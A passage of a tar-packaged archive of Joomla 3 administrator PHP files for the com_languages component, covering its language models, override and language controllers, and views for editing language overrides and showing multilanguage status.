	 */
	public function getTotal()
	{
		if (is_null($this->total))
		{
			$this->getData();
		}

		return $this->total;
	}

	/**
	 * Method to set the default language.
	 *
	 * @param   integer  $cid  Id of the language to publish.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function publish($cid)
	{
		if ($cid)
		{
			$client = $this->getClient();

			$params = JComponentHelper::getParams('com_languages');
			$params->set($client->name, $cid);

			$table = JTable::getInstance('extension');
			$id    = $table->find(array('element' => 'com_languages'));

			// Load.
			if (!$table->load($id))
			{
				$this->setError($table->getError());

				return false;
			}

			$table->params = (string) $params;

			// Pre-save checks.
			if (!$table->check())
			{
				$this->setError($table->getError());

				return false;
			}

			// Save the changes.
			if (!$table->store())
			{
				$this->setError($table->getError());

				return false;
			}
		}
		else
		{
			$this->setError(JText::_('COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED'));

			return false;
		}

		// Clean the cache of com_languages and component cache.
		$this->cleanCache();
		$this->cleanCache('_system', 0);
		$this->cleanCache('_system', 1);

		return true;
	}

	/**
	 * Method to get the folders.
	 *
	 * @return  array  Languages folders.
	 *
	 * @since   1.6
	 */
	protected function getFolders()
	{
		if (is_null($this->folders))
		{
			$path = $this->getPath();
			jimport('joomla.filesystem.folder');
			$this->folders = JFolder::folders($path, '.', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'pdf_fonts', 'overrides'));
		}

		return $this->folders;
	}

	/**
	 * Method to get the path.
	 *
	 * @return  string	The path to the languages folders.
	 *
	 * @since   1.6
	 */
	protected function getPath()
	{
		if (is_null($this->path))
		{
			$client     = $this->getClient();
			$this->path = JLanguageHelper::getLanguagePath($client->path);
		}

		return $this->path;
	}

	/**
	 * Method to compare two languages in order to sort them.
	 *
	 * @param   object  $lang1  The first language.
	 * @param   object  $lang2  The second language.
	 *
	 * @return  integer
	 *
	 * @since   1.6
	 *
	 * @deprecated   4.0
	 */
	protected function compareLanguages($lang1, $lang2)
	{
		return strcmp($lang1->name, $lang2->name);
	}

	/**
	 * Method to switch the administrator language.
	 *
	 * @param   string  $cid  The language tag.
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	public function switchAdminLanguage($cid)
	{
		if ($cid)
		{
			$client = $this->getClient();

			if ($client->name == 'administrator')
			{
				JFactory::getApplication()->setUserState('application.lang', $cid);
			}
		}
		else
		{
			JError::raiseWarning(500, JText::_('COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED'));

			return false;
		}

		return true;
	}
}
com_languages/models/languages.php000060400000012763152455305310013322 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Model Class
 *
 * @since  1.6
 */
class LanguagesModelLanguages extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'lang_id', 'a.lang_id',
				'lang_code', 'a.lang_code',
				'title', 'a.title',
				'title_native', 'a.title_native',
				'sef', 'a.sef',
				'image', 'a.image',
				'published', 'a.published',
				'ordering', 'a.ordering',
				'access', 'a.access', 'access_level',
				'home', 'l.home',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.ordering', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.access', $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '', 'cmd'));
		$this->setState('filter.published', $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '', 'string'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_languages');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.published');

		return parent::getStoreId($id);
	}

	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return  string    An SQL query
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select all fields from the languages table.
		$query->select($this->getState('list.select', 'a.*', 'l.home'))
			->from($db->quoteName('#__languages') . ' AS a');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Select the language home pages.
		$query->select('l.home AS home')
			->join('LEFT', $db->quoteName('#__menu') . ' AS l  ON  l.language = a.lang_code AND l.home=1  AND l.language <> ' . $db->quote('*'));

		// Filter on the published state.
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published IN (0, 1))');
		}

		// Filter by search in title.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
			$query->where('(a.title LIKE ' . $search . ')');
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where('a.access = ' . (int) $access);
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Set the published language(s).
	 *
	 * @param   array    $cid    An array of language IDs.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.6
	 */
	public function setPublished($cid, $value = 0)
	{
		return JTable::getInstance('Language')->publish($cid, $value);
	}

	/**
	 * Method to delete records.
	 *
	 * @param   array  $pks  An array of item primary keys.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function delete($pks)
	{
		// Sanitize the array.
		$pks = (array) $pks;

		// Get a row instance.
		$table = JTable::getInstance('Language');

		// Iterate the items to delete each one.
		foreach ($pks as $itemId)
		{
			if (!$table->delete((int) $itemId))
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Clean the cache.
		$this->cleanCache();

		return true;
	}

	/**
	 * Custom clean cache method, 2 places for 2 clients.
	 *
	 * @param   string   $group     Optional cache group name.
	 * @param   integer  $clientId  Application client id.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('_system');
		parent::cleanCache('com_languages');
	}
}
com_languages/controllers/overrides.php000060400000003355152455305310014436 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Overrides Controller.
 *
 * @since  2.5
 */
class LanguagesControllerOverrides extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var		string
	 * @since	2.5
	 */
	protected $text_prefix = 'COM_LANGUAGES_VIEW_OVERRIDES';

	/**
	 * Method for deleting one or more overrides.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function delete()
	{
		// Check for request forgeries.
		$this->checkToken();

		// Get items to delete from the request.
		$cid = (array) $this->input->get('cid', array(), 'string');

		// Remove zero values resulting from input filter
		$cid = array_filter($cid);

		if (empty($cid))
		{
			$this->setMessage(JText::_($this->text_prefix . '_NO_ITEM_SELECTED'), 'warning');
		}
		else
		{
			// Get the model.
			$model = $this->getModel('overrides');

			// Remove the items.
			if ($model->delete($cid))
			{
				$this->setMessage(JText::plural($this->text_prefix . '_N_ITEMS_DELETED', count($cid)));
			}
			else
			{
				$this->setMessage($model->getError());
			}
		}

		$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list, false));
	}

	/**
	 * Method to purge the overrider table.
	 *
	 * @return  void
	 *
	 * @since   3.4.2
	 */
	public function purge()
	{
		// Check for request forgeries.
		$this->checkToken();

		$model = $this->getModel('overrides');
		$model->purge();
		$this->setRedirect(JRoute::_('index.php?option=com_languages&view=overrides', false));
	}
}
com_languages/controllers/strings.json.php000060400000001463152455305310015073 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Strings JSON Controller
 *
 * @since  2.5
 */
class LanguagesControllerStrings extends JControllerAdmin
{
	/**
	 * Method for refreshing the cache in the database with the known language strings
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function refresh()
	{
		echo new JResponseJson($this->getModel('strings')->refresh());
	}

	/**
	 * Method for searching language strings
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function search()
	{
		echo new JResponseJson($this->getModel('strings')->search());
	}
}
com_languages/controllers/override.php000060400000013746152455305310014260 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Override Controller
 *
 * @since  2.5
 */
class LanguagesControllerOverride extends JControllerForm
{
	/**
	 * Method to edit an existing override.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable (not used here).
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (not used here).
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function edit($key = null, $urlVar = null)
	{
		// Do not cache the response to this, its a redirect
		JFactory::getApplication()->allowCache(false);

		$app     = JFactory::getApplication();
		$cid     = (array) $this->input->post->get('cid', array(), 'string');
		$context = "$this->option.edit.$this->context";

		// Get the constant name.
		$recordId = (count($cid) ? $cid[0] : $this->input->get('id'));

		// Access check.
		if (!$this->allowEdit())
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false));

			return;
		}

		$app->setUserState($context . '.data', null);
		$this->setRedirect('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, 'id'));
	}

	/**
	 * Method to save an override.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable (not used here).
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (not used here).
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function save($key = null, $urlVar = null)
	{
		// Check for request forgeries.
		$this->checkToken();

		$app     = JFactory::getApplication();
		$model   = $this->getModel();
		$data    = $this->input->post->get('jform', array(), 'array');
		$context = "$this->option.edit.$this->context";
		$task    = $this->getTask();

		$recordId = $this->input->get('id');
		$data['id'] = $recordId;

		// Access check.
		if (!$this->allowSave($data, 'id'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false));

			return;
		}

		// Validate the posted data.
		$form = $model->getForm($data, false);

		if (!$form)
		{
			$app->enqueueMessage($model->getError(), 'error');

			return;
		}

		// Require helper for filter functions called by JForm.
		JLoader::register('LanguagesHelper', JPATH_ADMINISTRATOR . '/components/com_languages/helpers/languages.php');

		// Test whether the data is valid.
		$validData = $model->validate($form, $data);

		// Check for validation errors.
		if ($validData === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Save the data in the session.
			$app->setUserState($context . '.data', $data);

			// Redirect back to the edit screen.
			$this->setRedirect(
				JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, 'id'), false)
			);

			return;
		}

		// Attempt to save the data.
		if (!$model->save($validData))
		{
			// Save the data in the session.
			$app->setUserState($context . '.data', $validData);

			// Redirect back to the edit screen.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(
				JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId, 'id'), false)
			);

			return;
		}

		// Add message of success.
		$this->setMessage(JText::_('COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS'));

		// Redirect the user and adjust session state based on the chosen task.
		switch ($task)
		{
			case 'apply':
				// Set the record data in the session.
				$app->setUserState($context . '.data', null);

				// Redirect back to the edit screen
				$this->setRedirect(
					JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($validData['key'], 'id'), false)
				);
				break;

			case 'save2new':
				// Clear the record id and data from the session.
				$app->setUserState($context . '.data', null);

				// Redirect back to the edit screen
				$this->setRedirect(
					JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend(null, 'id'), false)
				);
				break;

			default:
				// Clear the record id and data from the session.
				$app->setUserState($context . '.data', null);

				// Redirect to the list screen.
				$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false));
				break;
		}
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable (not used here).
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function cancel($key = null)
	{
		$this->checkToken();

		$app     = JFactory::getApplication();
		$context = "$this->option.edit.$this->context";

		$app->setUserState($context . '.data', null);
		$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false));
	}
}
com_languages/controllers/language.php000060400000001504152455305310014211 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages list actions controller.
 *
 * @since  1.6
 */
class LanguagesControllerLanguage extends JControllerForm
{
	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   int     $recordId  The primary key id for the item.
	 * @param   string  $key       The name of the primary key variable.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $key = 'lang_id')
	{
		return parent::getRedirectToItemAppend($recordId, $key);
	}
}
com_languages/controllers/languages.php000060400000003174152455305310014401 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages controller Class.
 *
 * @since  1.6
 */
class LanguagesControllerLanguages extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Language', $prefix = 'LanguagesModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Method to save the submitted ordering values for records via AJAX.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public function saveOrderAjax()
	{
		// Check for request forgeries.
		$this->checkToken();

		$pks   = (array) $this->input->post->get('cid', array(), 'int');
		$order = (array) $this->input->post->get('order', array(), 'int');

		// Remove zero PK's and corresponding order values resulting from input filter for PK
		foreach ($pks as $i => $pk)
		{
			if ($pk === 0)
			{
				unset($pks[$i]);
				unset($order[$i]);
			}
		}

		// Get the model.
		$model = $this->getModel();

		// Save the ordering.
		$return = $model->saveorder($pks, $order);

		if ($return)
		{
			echo '1';
		}

		// Close the application.
		JFactory::getApplication()->close();
	}
}
com_languages/controllers/installed.php000060400000005045152455305310014411 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Controller.
 *
 * @since  1.5
 */
class LanguagesControllerInstalled extends JControllerLegacy
{
	/**
	 * Task to set the default language.
	 *
	 * @return  void
	 */
	public function setDefault()
	{
		// Check for request forgeries.
		$this->checkToken();

		$cid = (string) $this->input->get('cid', '', 'string');
		$model = $this->getModel('installed');

		if ($model->publish($cid))
		{
			// Switching to the new administrator language for the message
			if ($model->getState('client_id') == 1)
			{
				$language = JFactory::getLanguage();
				$newLang = JLanguage::getInstance($cid);
				JFactory::$language = $newLang;
				JFactory::getApplication()->loadLanguage($language = $newLang);
				$newLang->load('com_languages', JPATH_ADMINISTRATOR);
			}

			$msg = JText::_('COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED');
			$type = 'message';
		}
		else
		{
			$msg = $this->getError();
			$type = 'error';
		}

		$clientId = $model->getState('client_id');
		$this->setredirect('index.php?option=com_languages&view=installed&client=' . $clientId, $msg, $type);
	}

	/**
	 * Task to switch the administrator language.
	 *
	 * @return  void
	 */
	public function switchAdminLanguage()
	{
		// Check for request forgeries.
		$this->checkToken();

		$cid = (string) $this->input->get('cid', '', 'string');
		$model = $this->getModel('installed');

		// Fetching the language name from the xx-XX.xml or langmetadata.xml respectively.
		$file = JPATH_ADMINISTRATOR . '/language/' . $cid . '/' . $cid . '.xml';

		if (!is_file($file))
		{
			$file = JPATH_ADMINISTRATOR . '/language/' . $cid . '/langmetadata.xml';
		}

		$info = JInstaller::parseXMLInstallFile($file);

		if ($model->switchAdminLanguage($cid))
		{
			// Switching to the new language for the message
			$languageName = $info['name'];
			$language = JFactory::getLanguage();
			$newLang = JLanguage::getInstance($cid);
			JFactory::$language = $newLang;
			JFactory::getApplication()->loadLanguage($language = $newLang);
			$newLang->load('com_languages', JPATH_ADMINISTRATOR);

			$msg = JText::sprintf('COM_LANGUAGES_MSG_SWITCH_ADMIN_LANGUAGE_SUCCESS', $languageName);
			$type = 'message';
		}
		else
		{
			$msg = $this->getError();
			$type = 'error';
		}

		$this->setredirect('index.php?option=com_languages&view=installed', $msg, $type);
	}
}
com_languages/views/override/tmpl/edit.php000060400000011427152455305310014742 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');

$expired = ($this->state->get('cache_expired') == 1 ) ? '1' : '';

JHtml::_('stylesheet', 'overrider/overrider.css', array('version' => 'auto', 'relative' => true));

JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JHtml::_('script', 'overrider/overrider.min.js', array('version' => 'auto', 'relative' => true));

JFactory::getDocument()->addScriptDeclaration('
	jQuery(document).ready(function($) {
		$("#jform_searchstring").on("focus", function() {
			if (!Joomla.overrider.states.refreshed)
			{
				var expired = "' . $expired . '";
				if (expired)
				{
					Joomla.overrider.refreshCache();
					Joomla.overrider.states.refreshed = true;
				}
			}
			$(this).removeClass("invalid");
		});
	});

	Joomla.submitbutton = function(task) {
		if (task == "override.cancel" || document.formvalidator.isValid(document.getElementById("override-form")))
		{
			Joomla.submitform(task, document.getElementById("override-form"));
		}
	};
');
?>

<form action="<?php echo JRoute::_('index.php?option=com_languages&id=' . $this->item->key); ?>" method="post" name="adminForm" id="override-form" class="form-validate form-horizontal">
	<div class="row-fluid">
		<div class="span6">
			<fieldset>
				<legend><?php echo empty($this->item->key) ? JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND') : JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND'); ?></legend>
				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('language'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('language'); ?>
					</div>
				</div>

				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('client'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('client'); ?>
					</div>
				</div>

				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('key'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('key'); ?>
					</div>
				</div>

				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('override'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('override'); ?>
					</div>
				</div>

				<?php if ($this->state->get('filter.client') == 'administrator') : ?>
				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('both'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('both'); ?>
					</div>
				</div>
				<?php endif; ?>

				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('file'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('file'); ?>
					</div>
				</div>
			</fieldset>

		</div>

		<div class="span6">
			<fieldset>
				<legend><?php echo JText::_('COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND'); ?></legend>

				<div class="alert alert-info"><p><?php echo JText::_('COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP'); ?></p></div>

				<div class="control-group">
					<?php echo $this->form->getInput('searchstring'); ?>
					<button type="submit" class="btn btn-primary" onclick="Joomla.overrider.searchStrings();return false;" formnovalidate>
						<?php echo JText::_('COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON'); ?>
					</button>
					<span id="refresh-status" class="overrider-spinner  help-block">
						<?php echo JText::_('COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING'); ?>
					</span>
				</div>
				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('searchtype'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('searchtype'); ?>
					</div>
				</div>

			</fieldset>

			<fieldset id="results-container" class="adminform">
				<legend><?php echo JText::_('COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND'); ?></legend>
				<span id="more-results">
					<a href="javascript:Joomla.overrider.searchStrings(Joomla.overrider.states.more);">
						<?php echo JText::_('COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS'); ?></a>
				</span>
			</fieldset>

			<input type="hidden" name="task" value="" />
			<input type="hidden" name="id" value="<?php echo $this->item->key; ?>" />

			<?php echo JHtml::_('form.token'); ?>
		</div>
	</div>
</form>
com_languages/views/override/view.html.php000060400000005541152455305310014756 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a language override
 *
 * @since  2.5
 */
class LanguagesViewOverride extends JViewLegacy
{
	/**
	 * The form to use for the view.
	 *
	 * @var		object
	 * @since	2.5
	 */
	protected $form;

	/**
	 * The item to edit.
	 *
	 * @var		object
	 * @since	2.5
	 */
	protected $item;

	/**
	 * The model state.
	 *
	 * @var		object
	 * @since	2.5
	 */
	protected $state;

	/**
	 * Displays the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		$app = JFactory::getApplication();

		$languageClient = $app->getUserStateFromRequest('com_languages.overrides.language_client', 'language_client');

		if ($languageClient == null)
		{
			$app->enqueueMessage(JText::_('COM_LANGUAGES_OVERRIDE_FIRST_SELECT_MESSAGE'), 'warning');

			$app->redirect('index.php?option=com_languages&view=overrides');
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors));
		}

		// Check whether the cache has to be refreshed.
		$cached_time = JFactory::getApplication()->getUserState(
			'com_languages.overrides.cachedtime.' . $this->state->get('filter.client') . '.' . $this->state->get('filter.language'),
			0
		);

		if (time() - $cached_time > 60 * 5)
		{
			$this->state->set('cache_expired', true);
		}

		// Add strings for translations in Javascript.
		JText::script('COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS');
		JText::script('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR');

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Adds the page title and toolbar.
	 *
	 * @return void
	 *
	 * @since	2.5
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$canDo = JHelperContent::getActions('com_languages');

		JToolbarHelper::title(JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE'), 'comments-2 langmanager');

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::apply('override.apply');
			JToolbarHelper::save('override.save');
		}

		// This component does not support Save as Copy.
		if ($canDo->get('core.edit') && $canDo->get('core.create'))
		{
			JToolbarHelper::save2new('override.save2new');
		}

		if (empty($this->item->key))
		{
			JToolbarHelper::cancel('override.cancel');
		}
		else
		{
			JToolbarHelper::cancel('override.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT');
	}
}
com_languages/views/multilangstatus/view.html.php000060400000002435152455305310016376 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Displays the multilang status.
 *
 * @since  1.7.1
 */
class LanguagesViewMultilangstatus extends JViewLegacy
{
	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		JLoader::register('MultilangstatusHelper', JPATH_ADMINISTRATOR . '/components/com_languages/helpers/multilangstatus.php');

		$this->homes           = MultilangstatusHelper::getHomes();
		$this->language_filter = JLanguageMultilang::isEnabled();
		$this->switchers       = MultilangstatusHelper::getLangswitchers();
		$this->listUsersError  = MultilangstatusHelper::getContacts();
		$this->contentlangs    = MultilangstatusHelper::getContentlangs();
		$this->site_langs      = JLanguageHelper::getInstalledLanguages(0);
		$this->statuses        = MultilangstatusHelper::getStatus();
		$this->homepages       = JLanguageMultilang::getSiteHomePages();
		$this->defaultHome     = MultilangstatusHelper::getDefaultHomeModule();

		parent::display($tpl);
	}
}
com_languages/views/multilangstatus/tmpl/default.php000060400000023560152455305310017063 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$notice_homes     = $this->homes == 2 || $this->homes == 1 || $this->homes - 1 != count($this->contentlangs) && ($this->language_filter || $this->switchers != 0);
$notice_disabled  = !$this->language_filter	&& ($this->homes > 1 || $this->switchers != 0);
$notice_switchers = !$this->switchers && ($this->homes > 1 || $this->language_filter);
?>
<div class="mod-multilangstatus">
	<?php if (!$this->language_filter && $this->switchers == 0) : ?>
		<?php if ($this->homes == 1) : ?>
			<div class="alert alert-info"><?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_NONE'); ?></div>
		<?php else : ?>
			<div class="alert alert-info"><?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES'); ?></div>
		<?php endif; ?>
	<?php else : ?>
	<table class="table table-striped table-condensed">
		<tbody>
		<?php if ($this->defaultHome == true) : ?>
			<tr class="warning">
				<td>
					<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
				</td>
				<td>
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_DEFAULT_HOME_MODULE_PUBLISHED'); ?>
				</td>
			</tr>
		<?php endif; ?>
		<?php if ($notice_homes) : ?>
			<tr class="warning">
				<td>
					<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
				</td>
				<td>
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_MISSING'); ?>
				</td>
			</tr>
		<?php endif; ?>
		<?php if ($notice_disabled) : ?>
